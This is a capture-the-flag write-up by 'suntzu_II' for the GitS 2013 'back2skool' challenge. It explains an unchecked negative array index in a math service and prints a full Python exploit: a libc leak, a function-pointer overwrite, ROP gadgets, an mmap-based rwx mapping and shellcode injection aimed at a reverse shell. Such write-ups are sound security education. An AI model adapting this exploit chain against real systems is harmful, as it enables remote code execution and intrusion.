So what did this program do? The purpose of the given binary was to a simple math program, shown below.
__ ___ __ __ _____ / |/ /___ _/ /_/ /_ / ___/___ ______ __ v0.01 / /|_/ / __ `/ __/ __ \\__ \/ _ \/ ___/ | / / / / / / /_/ / /_/ / / /__/ / __/ / | |/ / /_/ /_/\__,_/\__/_/ /_/____/\___/_/ |___/ =============================================== Welcome to MathServ! The one-stop shop for all your arithmetic needs. This program was written by a team of fresh CS graduates using only the most agile of spiraling waterfall development methods, so rest assured there are no bugs here! Your current workspace is comprised of a 10-element table initialized as: { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 } Commands: read Read value from given index in table write Write value to given index in table func1 Change operation to addition func2 Change operation to multiplication math Perform math operation on table exit Quit and disconnectThis program then, based on the func, would perform manipulations on the data within the given 10-element table. After looking at this in IDA, I was able to determine that the main vulnerability in this program came from the lack of proper bound checking on the array. Neither the read nor write functions checked to see if the input for number to write to was less than 0. Additionally, since the program calculates the real address of the memory spot to write to by doing &values+4*input, we can take advantage of the integer underflow to read or write to anywhere in memory. For example, to overwrite the function pointer of func1/func2, we do the following.
offset of math_ptr: -2147483634*4 = 56 -> 56/4 = 14 word offset This is the correct offset in memory from the values arraySo if we write to location -2147483634, then we can write an arbitrary address that the program will call. Unfortunately, there are several hurdles we must still overcome, primarily a non-executable stack and no rwx pages mapped into memory. At this point I wanted to set up a ROP chain that would get me a reverse shell, so I started to play a little ROP golf. Working with libc, I found several useful ROP gadgets that would get me enough space to actually set up a ROP chain.
rop_get_stack_addr = libc_base_addr + 0x0002D71F # offset of mov dword ptr[eax],ecx; ret xchg_eax_esp = libc_base_addr + 0x0009B019 # offset of xchg eax,esp; ret mov_ecx_eax = libc_base_addr + 0x000ebe50 # offset of mov eax,ecx; pop; ret add_eax = libc_base_addr + 0x0011087A # offset of add eax, 0xC; ret add_esp = libc_base_addr + 0x0007F8F2 # offset of add esp, 0x20; pop; pop; retWhen the program calls the function pointer, eax contains a pointer to our values array. This meant that I could perform the following tasks.
1. Read an arbitrary stack address so that I knew where the stack was 2. Write an awesome ROP chain to the stack 3. Return to the values array, where I set up eax to have the value of a stack address 4. Return to my ROP chain on the stack 5. Return to my shellcode in my newly mapped rwx areaWithout further ado, here is my winning python script.
################################################ # Author: suntzu_II - GitS 2013 back2skool # ################################################ from SocketInteract import * import struct, socket, pexpect def getSignedHex(str_in): return hex(((abs(int(str_in)) ^ 0xFFFFFFFF) + 1) & 0xFFFFFFFF).replace('L','') def getSignedInt(hex_in): if hex_in > 0x7FFFFFFF: hex_in = -(0xFFFFFFFF-hex_in+1) return hex_in s = socket.socket() s.connect(('back2skool.2013.ghostintheshellcode.com', 31337)) p = SocketInteract(s) p.expect('disconnect\n') # This is an arbitrary function that writes to memory addresses def writeToMemory(addr, int_data): int_data = getSignedInt(int_data) p.sendLine('write') p.expect('to:\n') p.sendLine(str(addr)) p.expect('write:\n') p.sendLine(str(int_data)) # This is an arbitrary function that reads from memory addresses and returns the data def readFromMemory(addr): p.sendLine('read') p.expect('from:\n') p.sendLine(str(addr)) p.expect(str(addr) + ': ') data,tmp = p.expect('\n') return data # Find these commands with `objdump -T /path/to/libc | grep func` ################################## ### Modify these based on libc ### ################################## send_off = 0x000f07c0 # libc offset of send mmap_off = 0x000eb040 # libc offset of mmap memccpy_off = 0x0007F610 # libc offset of memccpy print "Determining libc base address" full_send_addr = int(readFromMemory(-30).replace('\n','')) libc_base_addr = full_send_addr - send_off mmap_addr = libc_base_addr + mmap_off print "Found libc base:",getSignedHex(libc_base_addr),": mmap lives at:",getSignedHex(mmap_addr) # Find these commands with the command # `ROPgadget ./back2skool -intel -only eax` # change the only as a filter # Note: ROPgadget doesn't show the pops and rets all the time, but they are there ################################## ### Modify these based on libc ### ################################## rop_get_stack_addr = libc_base_addr + 0x0002D71F # offset of mov dword ptr[eax],ecx; ret xchg_eax_esp = libc_base_addr + 0x0009B019 # offset of xchg eax,esp; ret mov_ecx_eax = libc_base_addr + 0x000ebe50 # offset of mov eax,ecx; pop; ret add_eax = libc_base_addr + 0x0011087A # offset of add eax, 0xC; ret add_esp = libc_base_addr + 0x0007F8F2 # offset of add esp, 0x20; pop; pop; ret rwx_area = 0x40000000 # The address that we will map as rwx print "Getting a stack address through a ROP gadget" writeToMemory(-2147483634, rop_get_stack_addr) p.sendLine('math') stack_addr = int(readFromMemory(0)) stack_addr += 0x54 # The actual address where I am writing # This is the word offset between the stack and our values array diff = (stack_addr-0x0804C040)/4 print "Putting ROP chain in memory at",getSignedHex(stack_addr) print 'Writing mmap call to the stack. mmap:',getSignedHex(mmap_addr) writeToMemory(diff, mmap_addr) writeToMemory(diff+1, add_esp) # return addr - add esp 0x20,pop,pop,ret writeToMemory(diff+2, rwx_area) # buf writeToMemory(diff+3, 4096) # size writeToMemory(diff+4, 7) # flags (rwx) writeToMemory(diff+5, 0x32) # MAP_FIXED | MAP_ANONYMOUS writeToMemory(diff+6, -1) # fildes writeToMemory(diff+7, 0) # offset # dead space writeToMemory(diff+8,0xdeaddead) sc = open('sc','rb').read() memccpy_addr = libc_base_addr + memccpy_off print 'Writing memccpy call to the stack. memccpy:',getSignedHex(memccpy_addr) writeToMemory(diff+10, memccpy_addr) writeToMemory(diff+11, rwx_area) # Return address writeToMemory(diff+12, rwx_area) # dest writeToMemory(diff+13, 0x0804C040+(diff+16)*4) # src writeToMemory(diff+14, 0xFF) # stop char writeToMemory(diff+15, len(sc)) # len print 'Writing shellcode to the stack' i = 0 for i in xrange(len(sc)/4): num = '' num += hex(ord(sc[i*4+3:i*4+4]))[2:].zfill(2) num += hex(ord(sc[i*4+2:i*4+3]))[2:].zfill(2) num += hex(ord(sc[i*4+1:i*4+2]))[2:].zfill(2) num += hex(ord(sc[i*4:i*4+1]))[2:].zfill(2) writeToMemory(diff + 16 + i, int(num,16)) writeToMemory(diff + 17 + i, 0x00000000) # End the shellcode with a null pointer # This is the pivot through the values array into the stack writeToMemory(0, mov_ecx_eax) writeToMemory(1, add_eax) writeToMemory(2, add_eax) writeToMemory(3, add_eax) writeToMemory(4, add_eax) writeToMemory(5, add_eax) writeToMemory(6, add_eax) writeToMemory(7, add_eax) writeToMemory(8, add_eax) writeToMemory(9, xchg_eax_esp) # Overwrite the func ptr to return to the values area writeToMemory(-2147483634, xchg_eax_esp) print "Executing ROP chain" p.sendLine('math')I didn't get a flag during the competition because I didn't have the correct libc offsets. Barring that, however, it is still a very cool challenge and I had a lot of fun with it.
- suntzu_II